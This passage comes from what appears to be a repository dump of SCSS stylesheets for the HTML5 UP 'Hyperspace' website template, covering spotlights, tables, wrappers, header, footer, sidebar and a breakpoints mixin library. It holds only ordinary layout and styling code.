    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Spotlights */\r\n\r\n\t.spotlights {\r\n\t\t> section {\r\n\t\t\t@include vendor('display', 'flex');\r\n\t\t\t@include vendor('flex-direction', 'row');\r\n\t\t\tmin-height: 22.5em;\r\n\r\n\t\t\tbody.is-ie & {\r\n\t\t\t\tmin-height: 0;\r\n\t\t\t}\r\n\r\n\t\t\t> .image {\r\n\t\t\t\tbackground-position: center center;\r\n\t\t\t\tbackground-size: cover;\r\n\t\t\t\tborder-radius: 0;\r\n\t\t\t\tdisplay: block;\r\n\t\t\t\tposition: relative;\r\n\t\t\t\twidth: 25em;\r\n\r\n\t\t\t\timg {\r\n\t\t\t\t\tborder-radius: 0;\r\n\t\t\t\t\tdisplay: block;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:before {\r\n\t\t\t\t\t@include vendor('transition', 'opacity #{_duration(activation)} ease');\r\n\t\t\t\t\tbackground: transparentize(_palette(bg), 0.1);\r\n\t\t\t\t\tcontent: '';\r\n\t\t\t\t\tdisplay: block;\r\n\t\t\t\t\theight: 100%;\r\n\t\t\t\t\tleft: 0;\r\n\t\t\t\t\topacity: 0;\r\n\t\t\t\t\tposition: absolute;\r\n\t\t\t\t\ttop: 0;\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t> .content {\r\n\t\t\t\t@include padding(4em, 5em);\r\n\t\t\t\t@include vendor('display', 'flex');\r\n\t\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\t\t@include vendor('justify-content', 'center');\r\n\t\t\t\twidth: #{_size(inner-width) - 25em};\r\n\t\t\t\t-ms-flex: 1;\r\n\r\n\t\t\t\t> .inner {\r\n\t\t\t\t\t@include vendor('transform', 'translateX(0) translateY(0)');\r\n\t\t\t\t\t@include vendor('transition', (\r\n\t\t\t\t\t\t'opacity #{_duration(activation)} ease',\r\n\t\t\t\t\t\t'transform #{_duration(activation)} ease'\r\n\t\t\t\t\t));\r\n\t\t\t\t\topacity: 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(1) {\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(2) {\r\n\t\t\t\tbackground-color: rgba(0,0,0,0.05);\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(3) {\r\n\t\t\t\tbackground-color: rgba(0,0,0,0.1);\r\n\t\t\t}\r\n\r\n\t\t\t&.inactive,\r\n\t\t\tbody.is-preload & {\r\n\t\t\t\t> .image {\r\n\t\t\t\t\t&:before {\r\n\t\t\t\t\t\topacity: 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> .content {\r\n\t\t\t\t\t> .inner {\r\n\t\t\t\t\t\t@include vendor('transform', 'translateX(-1em)');\r\n\t\t\t\t\t\topacity: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=xlarge') {\r\n\t\t\t\t> .content {\r\n\t\t\t\t\t@include padding(4em, 4em);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=medium') {\r\n\t\t\t\tdisplay: block;\r\n\r\n\t\t\t\t> .image {\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t\theight: 50vh;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> .content {\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.inactive,\r\n\t\t\t\tbody.is-preload & {\r\n\t\t\t\t\t> .content {\r\n\t\t\t\t\t\t> .inner {\r\n\t\t\t\t\t\t\t@include vendor('transform', 'translateY(1em)');\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=small') {\r\n\t\t\t\t> .image {\r\n\t\t\t\t\theight: 50vh;\r\n\t\t\t\t\tmin-height: 15em;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> .content {\r\n\t\t\t\t\t@include padding(3em, 2em);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n"
  },
  {
    "path": "2022/assets/sass/components/_table.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Table */\r\n\r\n\t.table-wrapper {\r\n\t\t-webkit-overflow-scrolling: touch;\r\n\t\toverflow-x: auto;\r\n\t}\r\n\r\n\ttable {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\twidth: 100%;\r\n\r\n\t\ttbody {\r\n\t\t\ttr {\r\n\t\t\t\tborder: solid _size(border-width) _palette(border);\r\n\t\t\t\tborder-left: 0;\r\n\t\t\t\tborder-right: 0;\r\n\r\n\t\t\t\t&:nth-child(2n + 1) {\r\n\t\t\t\t\tbackground-color: _palette(border-bg);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\ttd {\r\n\t\t\tpadding: 0.75em 0.75em;\r\n\t\t}\r\n\r\n\t\tth {\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t\tfont-size: 1em;\r\n\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\tpadding: 0 0.75em 0.75em 0.75em;\r\n\t\t\ttext-align: left;\r\n\t\t}\r\n\r\n\t\tthead {\r\n\t\t\tborder-bottom: solid (_size(border-width) * 2) _palette(border);\r\n\t\t}\r\n\r\n\t\ttfoot {\r\n\t\t\tborder-top: solid (_size(border-width) * 2) _palette(border);\r\n\t\t}\r\n\r\n\t\t&.alt {\r\n\t\t\tborder-collapse: separate;\r\n\r\n\t\t\ttbody {\r\n\t\t\t\ttr {\r\n\t\t\t\t\ttd {\r\n\t\t\t\t\t\tborder: solid _size(border-width) _palette(border);\r\n\t\t\t\t\t\tborder-left-width: 0;\r\n\t\t\t\t\t\tborder-top-width: 0;\r\n\r\n\t\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\t\tborder-left-width: _size(border-width);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\ttd {\r\n\t\t\t\t\t\t\tborder-top-width: _size(border-width);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tthead {\r\n\t\t\t\tborder-bottom: 0;\r\n\t\t\t}\r\n\r\n\t\t\ttfoot {\r\n\t\t\t\tborder-top: 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_wrapper.scss",
    "content": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n///\n\n/* Wrapper */\n\n\t.wrapper {\n\t\tposition: relative;\n\n\t\t> .inner {\n\t\t\t@include padding(5em, 5em);\n\t\t\tmax-width: 100%;\n\t\t\twidth: _size(inner-width);\n\n\t\t\t@include breakpoint('<=xlarge') {\n\t\t\t\t@include padding(4em, 4em);\n\t\t\t}\n\n\t\t\t@include breakpoint('<=large') {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t@include breakpoint('<=small') {\n\t\t\t\t@include padding(3em, 2em);\n\t\t\t}\n\t\t}\n\n\t\t&.alt {\n\t\t\tbackground-color: _palette(bg-alt);\n\t\t}\n\n\t\t&.style1 {\n\t\t\tbackground-color: _palette(accent1);\n\t\t}\n\n\t\t&.style1-alt {\n\t\t\tbackground-color: _palette(accent1-alt);\n\t\t}\n\n\t\t&.style2 {\n\t\t\tbackground-color: _palette(accent2);\n\t\t}\n\n\t\t&.style2-alt {\n\t\t\tbackground-color: _palette(accent2-alt);\n\t\t}\n\n\t\t&.style3 {\n\t\t\tbackground-color: _palette(accent3);\n\t\t}\n\n\t\t&.style3-alt {\n\t\t\tbackground-color: _palette(accent3-alt);\n\t\t}\n\n\t\t&.fullscreen {\n\t\t\t@include vendor('display', 'flex');\n\t\t\t@include vendor('flex-direction', 'column');\n\t\t\t@include vendor('justify-content', 'center');\n\t\t\tmin-height: 100vh;\n\n\t\t\tbody.is-ie & {\n\t\t\t\theight: 100vh;\n\t\t\t}\n\n\t\t\t@include breakpoint('<=large') {\n\t\t\t\tmin-height: calc(100vh - 2.5em);\n\n\t\t\t\tbody.is-ie & {\n\t\t\t\t\theight: calc(100vh - 2.5em);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t@include breakpoint('<=small') {\n\t\t\t\tpadding: 2em 0;\n\t\t\t\tmin-height: 0;\n\n\t\t\t\tbody.is-ie & {\n\t\t\t\t\theight: auto;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t&.fade-up {\n\t\t\t> .inner {\n\t\t\t\t@include vendor('transform', 'translateY(0)');\n\t\t\t\t@include vendor('transition', (\n\t\t\t\t\t'opacity #{_duration(activation)} ease',\n\t\t\t\t\t'transform #{_duration(activation)} ease'\n\t\t\t\t));\n\t\t\t\topacity: 1.0;\n\t\t\t}\n\n\t\t\t&.inactive,\n\t\t\tbody.is-preload & {\n\t\t\t\t> .inner {\n\t\t\t\t\topacity: 0;\n\t\t\t\t\t@include vendor('transform', 'translateY(1em)');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t&.fade-down {\n\t\t\t> .inner {\n\t\t\t\t@include vendor('transform', 'translateY(0)');\n\t\t\t\t@include vendor('transition', (\n\t\t\t\t\t'opacity #{_duration(activation)} ease',\n\t\t\t\t\t'transform #{_duration(activation)} ease'\n\t\t\t\t));\n\t\t\t\topacity: 1.0;\n\t\t\t}\n\n\t\t\t&.inactive,\n\t\t\tbody.is-preload & {\n\t\t\t\t> .inner {\n\t\t\t\t\topacity: 0;\n\t\t\t\t\t@include vendor('transform', 'translateY(-1em)');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t&.fade {\n\t\t\t> .inner {\n\t\t\t\t@include vendor('transition', (\n\t\t\t\t\t'opacity #{_duration(activation)} ease'\n\t\t\t\t));\n\t\t\t\topacity: 1.0;\n\t\t\t}\n\n\t\t\t&.inactive,\n\t\t\tbody.is-preload & {\n\t\t\t\t> .inner {\n\t\t\t\t\topacity: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}"
  },
  {
    "path": "2022/assets/sass/layout/_footer.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Footer */\r\n\r\n\t#footer {\r\n\t\t#sidebar + #wrapper + & {\r\n\t\t\tmargin-left: _size(sidebar-width);\r\n\r\n\t\t\t@include breakpoint('<=large') {\r\n\t\t\t\tmargin-left: 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t> .inner {\r\n\t\t\ta {\r\n\t\t\t\tborder-bottom-color: _palette(border);\r\n\r\n\t\t\t\t&:hover {\r\n\t\t\t\t\tborder-bottom-color: transparent;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t.menu {\r\n\t\t\t\tfont-size: 0.8em;\r\n\t\t\t\tcolor: _palette(border);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t#header + #wrapper + & {\r\n\t\t\t> .inner {\r\n\t\t\t\tmargin: 0 auto;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/layout/_header.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Header */\r\n\r\n\t#header {\r\n\t\t@include vendor('display', 'flex');\r\n\t\tbackground-color: _palette(accent1);\r\n\t\tcursor: default;\r\n\t\tpadding: 1.75em 2em;\r\n\r\n\t\t> .title {\r\n\t\t\tborder: 0;\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t\tdisplay: block;\r\n\t\t\tfont-size: 1.25em;\r\n\t\t\tfont-weight: _font(weight-bold);\r\n\t\t}\r\n\r\n\t\t> nav {\r\n\t\t\t@include vendor('flex', '1');\r\n\t\t\ttext-align: right;\r\n\r\n\t\t\t> ul {\r\n\t\t\t\tmargin: 0;\r\n\t\t\t\tpadding: 0;\r\n\r\n\t\t\t\t> li {\r\n\t\t\t\t\tdisplay: inline-block;\r\n\t\t\t\t\tmargin-left: 1.75em;\r\n\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\tvertical-align: middle;\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\tmargin-left: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\ta {\r\n\t\t\t\t\t\tborder: 0;\r\n\t\t\t\t\t\tcolor: _palette(fg-light);\r\n\t\t\t\t\t\tdisplay: inline-block;\r\n\t\t\t\t\t\tfont-size: 0.6em;\r\n\t\t\t\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\t\t\t\tletter-spacing: _font(kerning-alt);\r\n\t\t\t\t\t\ttext-transform: uppercase;\r\n\r\n\t\t\t\t\t\t&:hover {\r\n\t\t\t\t\t\t\tcolor: _palette(fg);\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t&.active {\r\n\t\t\t\t\t\t\tcolor: _palette(fg-bold);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\tpadding: 1em 2em;\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\tdisplay: block;\r\n\t\t\tpadding: 0 2em;\r\n\t\t\ttext-align: left;\r\n\r\n\t\t\t.title {\r\n\t\t\t\tfont-size: 1.25em;\r\n\t\t\t\tpadding: 1em 0;\r\n\t\t\t}\r\n\r\n\t\t\t> nav {\r\n\t\t\t\tborder-top: solid 1px _palette(border);\r\n\t\t\t\ttext-align: inherit;\r\n\r\n\t\t\t\t> ul {\r\n\t\t\t\t\t> li {\r\n\t\t\t\t\t\tmargin-left: 1.5em;\r\n\r\n\t\t\t\t\t\ta {\r\n\t\t\t\t\t\t\theight: 6em;\r\n\t\t\t\t\t\t\tline-height: 6em;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/layout/_intro.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Intro */\r\n\r\n\t#intro {\r\n\t\tbackground-attachment: fixed;\r\n\t\tbackground-image: url('images/intro.svg');\r\n\t\tbackground-position: top right;\r\n\t\tbackground-repeat: no-repeat;\r\n\t\tbackground-size: 100% 100%;\r\n\r\n\t\tp {\r\n\t\t\tfont-size: 1.25em;\r\n\r\n\t\t\t@include breakpoint('<=medium') {\r\n\t\t\t\tbr {\r\n\t\t\t\t\tdisplay: none;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=small') {\r\n\t\t\t\tfont-size: 1em;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=large') {\r\n\t\t\tbackground-attachment: scroll;\r\n\t\t}\r\n\t}\r\n"
  },
  {
    "path": "2022/assets/sass/layout/_sidebar.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Sidebar */\r\n\r\n\t#sidebar {\r\n\t\t@include padding(2.5em, 2.5em);\r\n\t\tbackground: _palette(bg);\r\n\t\tcursor: default;\r\n\t\theight: 100vh;\r\n\t\tleft: 0;\r\n\t\toverflow-x: hidden;\r\n\t\toverflow-y: auto;\r\n\t\tposition: fixed;\r\n\t\ttext-align: right;\r\n\t\ttop: 0;\r\n\t\twidth: _size(sidebar-width);\r\n\t\tz-index: _misc(z-index-base);\r\n\r\n\t\t> .inner {\r\n\t\t\t@include vendor('display', 'flex');\r\n\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\t@include vendor('justify-content', 'center');\r\n\t\t\t@include vendor('transform', 'translateY(0)');\r\n\t\t\t@include vendor('transition', (\r\n\t\t\t\t'opacity #{_duration(activation)} ease',\r\n\t\t\t));\r\n\t\t\tmin-height: 100%;\r\n\t\t\topacity: 1;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\tbody.is-ie & {\r\n\t\t\t\theight: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tnav {\r\n\t\t\t> ul {\r\n\t\t\t\tlist-style: none;\r\n\t\t\t\tpadding: 0;\r\n\r\n\t\t\t\t> li {\r\n\t\t\t\t\t@include vendor('transform', 'translateY(0)');\r\n\t\t\t\t\t@include vendor('transition', (\r\n\t\t\t\t\t\t'opacity #{_duration(activation) * 0.15} ease',\r\n\t\t\t\t\t\t'transform #{_duration(activation) * 0.75} ease'\r\n\t\t\t\t\t));\r\n\t\t\t\t\tmargin: 1.5em 0 0 0;\r\n\t\t\t\t\topacity: 1;\r\n\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\tposition: relative;\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\tmargin: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t@for $i from 1 through _misc(max-sidebar-links) {\r\n\t\t\t\t\t\t&:nth-child(#{$i}) {\r\n\t\t\t\t\t\t\t@include vendor('transition-delay', '#{(_duration(activation) * 0.2 * $i) + (_duration(activation) * 0.25)}');\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\ta {\r\n\t\t\t\t@include vendor('transition', 'color #{_duration(transition)} ease');\r\n\t\t\t\tborder: 0;\r\n\t\t\t\tcolor: _palette(fg-light);\r\n\t\t\t\tdisplay: block;\r\n\t\t\t\tfont-size: 0.6em;\r\n\t\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\t\tletter-spacing: _font(kerning-alt);\r\n\t\t\t\tline-height: 1.75;\r\n\t\t\t\toutline: 0;\r\n\t\t\t\tpadding: 1.35em 0;\r\n\t\t\t\tposition: relative;\r\n\t\t\t\ttext-decoration: none;\r\n\t\t\t\ttext-transform: uppercase;\r\n\r\n\t\t\t\t&:before,\r\n\t\t\t\t&:after {\r\n\t\t\t\t\tborder-radius: 0.2em;\r\n\t\t\t\t\tbottom: 0;\r\n\t\t\t\t\tcontent: '';\r\n\t\t\t\t\theight: 0.2em;\r\n\t\t\t\t\tposition: absolute;\r\n\t\t\t\t\tright: 0;\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:before {\r\n\t\t\t\t\tbackground: lighten(_palette(bg), 5);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:after {\r\n\t\t\t\t\t@include vendor('background-image', 'linear-gradient(to right, #{_palette(accent1)}, #{_palette(accent3)})');\r\n\t\t\t\t\t@include vendor('transition', 'max-width #{_duration(transition)} ease');\r\n\t\t\t\t\tmax-width: 0;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:hover {\r\n\t\t\t\t\tcolor: _palette(fg);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.active {\r\n\t\t\t\t\tcolor: _palette(fg-bold);\r\n\r\n\t\t\t\t\t&:after {\r\n\t\t\t\t\t\tmax-width: 100%;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tbody.is-preload & {\r\n\t\t\t> .inner {\r\n\t\t\t\topacity: 0;\r\n\t\t\t}\r\n\r\n\t\t\tnav {\r\n\t\t\t\tul {\r\n\t\t\t\t\tli {\r\n\t\t\t\t\t\t@include vendor('transform', 'translateY(2em)');\r\n\t\t\t\t\t\topacity: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=large') {\r\n\t\t\theight: _size(sidebar-height);\r\n\t\t\tleft: 0;\r\n\t\t\tline-height: _size(sidebar-height);\r\n\t\t\toverflow: hidden;\r\n\t\t\tpadding: 0;\r\n\t\t\ttext-align: center;\r\n\t\t\ttop: 0;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\t> .inner {\r\n\t\t\t\t@include vendor('flex-direction', 'row');\r\n\t\t\t\t@include vendor('align-items', 'stretch');\r\n\t\t\t\theight: inherit;\r\n\t\t\t\tline-height: inherit;\r\n\t\t\t}\r\n\r\n\t\t\tnav {\r\n\t\t\t\theight: inherit;\r\n\t\t\t\tline-height: inherit;\r\n\r\n\t\t\t\tul {\r\n\t\t\t\t\t@include vendor('display', 'flex');\r\n\t\t\t\t\theight: inherit;\r\n\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\tmargin: 0;\r\n\r\n\t\t\t\t\tli {\r\n\t\t\t\t\t\tdisplay: block;\r\n\t\t\t\t\t\theight: inherit;\r\n\t\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\t\tmargin: 0 0 0 2em;\r\n\t\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\ta {\r\n\t\t\t\t\theight: inherit;\r\n\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\tpadding: 0;\r\n\r\n\t\t\t\t\t&:after {\r\n\t\t\t\t\t\tbackground-image: none;\r\n\t\t\t\t\t\tbackground-color: _palette(accent3);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\tdisplay: none;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/layout/_wrapper.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Wrapper (main) */\r\n\r\n\t#wrapper {\r\n\t\t#sidebar + & {\r\n\t\t\tmargin-left: _size(sidebar-width);\r\n\r\n\t\t\t@include breakpoint('<=large') {\r\n\t\t\t\tmargin-left: 0;\r\n\t\t\t\tpadding-top: _size(sidebar-height);\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=small') {\r\n\t\t\t\tpadding-top: 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t#header + & {\r\n\t\t\t> .wrapper {\r\n\t\t\t\t> .inner {\r\n\t\t\t\t\tmargin: 0 auto;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/libs/_breakpoints.scss",
    "content": "// breakpoints.scss v1.0 | @ajlkn | MIT licensed */\n\n// Vars.\n\n\t/// Breakpoints.\n\t/// @var {list}\n\t$breakpoints: () !global;\n\n// Mixins.\n\n\t/// Sets breakpoints.\n\t/// @param {map} $x Breakpoints.\n\t@mixin breakpoints($x: ()) {\n\t\t$breakpoints: $x !global;\n\t}\n\n\t/// Wraps @content in a @media block targeting a specific orientation.\n\t/// @param {string} $orientation Orientation.\n\t@mixin orientation($orientation) {\n\t\t@media screen and (orientation: #{$orientation}) {\n\t\t\t@content;\n\t\t}\n\t}\n\n\t/// Wraps @content in a @media block using a given query.\n\t/// @param {string} $query Query.\n\t@mixin breakpoint($query: null) {\n\n\t\t$breakpoint: null;\n\t\t$op: null;\n\t\t$media: null;\n\n\t\t// Determine operator, breakpoint.\n\n\t\t\t// Greater than or equal.\n\t\t\t\t@if (str-slice($query, 0, 2) == '>=') {\n\n\t\t\t\t\t$op: 'gte';\n\t\t\t\t\t$breakpoint: str-slice($query, 3);\n\n\t\t\t\t}\n\n\t\t\t// Less than or equal.\n\t\t\t\t@elseif (str-slice($query, 0, 2) == '<=') {\n\n\t\t\t\t\t$op: 'lte';\n\t\t\t\t\t$breakpoint: str-slice($query, 3);\n\n\t\t\t\t}\n\n\t\t\t// Greater than.\n\t\t\t\t@elseif (str-slice($query, 0, 1) == '>') {\n\n\t\t\t\t\t$op: 'gt';\n\t\t\t\t\t$breakpoint: str-slice($query, 2);\n\n\t\t\t\t}\n\n\t\t\t// Less than.\n\t\t\t\t@elseif (str-slice($query, 0, 1) == '<') {\n\n\t\t\t\t\t$op: 'lt';\n\t\t\t\t\t$breakpoint: str-slice($query, 2);\n\n\t\t\t\t}\n\n\t\t\t// Not.\n\t\t\t\t@elseif (str-slice($query, 0, 1) == '!') {\n\n\t\t\t\t\t$op: 'not';\n\t\t\t\t\t$breakpoint: str-slice($query, 2);\n\n\t\t\t\t}\n\n\t\t\t// Equal.\n\t\t\t\t@else {\n\n\t\t\t\t\t$op: 'eq';\n\t\t\t\t\t$breakpoint: $query;\n\n\t\t\t\t}\n\n\t\t// Build media.\n\t\t\t@if ($breakpoint and map-has-key($breakpoints, $breakpoint)) {\n\n\t\t\t\t$a: map-get($breakpoints, $breakpoint);\n\n\t\t\t\t// Range.\n\t\t\t\t\t@if (type-of($a) == 'list') {\n\n\t\t\t\t\t\t$x: nth($a, 1);\n\t\t\t\t\t\t$y: nth($a, 2);\n\n\t\t\t\t\t\t// Max only.\n\t\t\t\t\t\t\t@if ($x == null) {\n\n\t\t\t\t\t\t\t\t// Greater than or equal (>= 0 / anything)\n\t\t\t\t\t\t\t\t\t@if ($op == 'gte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than or equal (<= y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + $y + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Greater than (> y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'gt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + ($y + 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than (< 0 / invalid)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: -1px)';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Not (> y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'not') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + ($y + 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Equal (<= y)\n\t\t\t\t\t\t\t\t\t@else {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + $y + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Min only.\n\t\t\t\t\t\t\t@else if ($y == null) {\n\n\t\t\t\t\t\t\t\t// Greater than or equal (>= x)\n\t\t\t\t\t\t\t\t\t@if ($op == 'gte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + $x + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than or equal (<= inf / anything)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Greater than (> inf / invalid)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'gt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: -1px)';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than (< x)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + ($x - 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Not (< x)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'not') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + ($x - 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Equal (>= x)\n\t\t\t\t\t\t\t\t\t@else {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + $x + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Min and max.\n\t\t\t\t\t\t\t@else {\n\n\t\t\t\t\t\t\t\t// Greater than or equal (>= x)\n\t\t\t\t\t\t\t\t\t@if ($op == 'gte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + $x + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than or equal (<= y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + $y + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Greater than (> y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'gt') 